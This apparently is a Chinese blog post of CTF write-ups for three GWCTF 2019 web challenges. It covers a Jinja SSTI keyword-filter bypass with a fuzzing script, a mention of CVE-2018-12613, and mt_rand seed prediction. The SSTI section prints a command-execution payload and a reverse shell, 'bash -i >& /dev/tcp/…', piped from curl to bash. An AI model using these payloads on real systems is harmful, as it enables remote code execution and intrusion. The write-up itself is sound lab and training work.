GWCTF 2019-web

GWCTF 2019-web

GWCTF 2019-web

练习

[GWCTF 2019]你的名字

image-20200324112248986

猜这里有SSTI

发现这里强过滤了,

1
{{}}

只要一用就报错,所以使用

1
{% %}

构造exp:

1
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].os.system('执行的命令') %}1{% endif %}

这里记一个FUzz-SSTI的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
from time import sleep

dic = ['class', 'bases', 'subclasses', '[', '(', 'read', 'mro', 'init', 'globals', 'builtins', 'file', 'func_globals', 'linecache', 'system', 'values', 'import', 'module', 'call', 'name', 'getitem', 'pop', 'args', 'path', 'popen', 'eval', 'end', 'for', 'if', 'config']

url = "http://24702b70-5fd1-4537-9f46-e3826566a052.node3.buuoj.cn/"
pass_dic = []

for i in dic:
data = {
"name": "ads"+i+"ads"
}
res = requests.post(url, data=data)
sleep(1)
if len(res.text) == 1194:
pass_dic.append(i)
print(pass_dic)

被过滤掉的字符有

image-20200324191111500

发现iconfigf可以绕过对关键词的过滤

1
iconfigf ==> if

通过SSTI以及curl反弹shell

在内网开一个主机,在index.html写上

1
bash -i >& /dev/tcp/174.1.90.244/7777 0>&1

exp改为:

1
{% iconfigf ''.__clconfigass__.__mconfigro__[2].__subclaconfigsses__()[59].__init__.__globals__['linecache'].oconfigs.system('curl 174.1.90.244|bash') %}1{% endiconfigf %}

[GWCTF 2019]我有一个数据库

考点:CVE-2018-12613

image-20200325083832042

[GWCTF 2019]枯燥的抽奖

考点:随机数预测

check.php查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");

关键代码:

1
mt_srand($_SESSION['seed']);

mt_srand生成的种子是可以爆破的。

先使用脚本把随机数转换一下

1
2
3
4
5
6
7
8
9
10
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2 = 'MAijTMEfFK'
res = ''

for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res += str(j) + ' ' + str(j) + ' ' + '0' + ' ' + str(len(str1)-1) + ' '
break
print(res)

image-20200325085411806

接着是使用php_mt_seed将种子爆破出来

image-20200325085757343

然后爆破

1
2
3
4
5
6
7
8
9
10
<?php

mt_srand(48815515);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str = '';
$len1 = 20;
for ($i = 0; $i < $len1; $i++) {
$str .= substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo "<p id='p1'>" . $str . "</p>";

image-20200325090016209

提交获得flag

image-20200325090046508

Author: 我是小吴啦
Link: http://yoursite.com/2020/02/21/GWCTF-2019-web/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.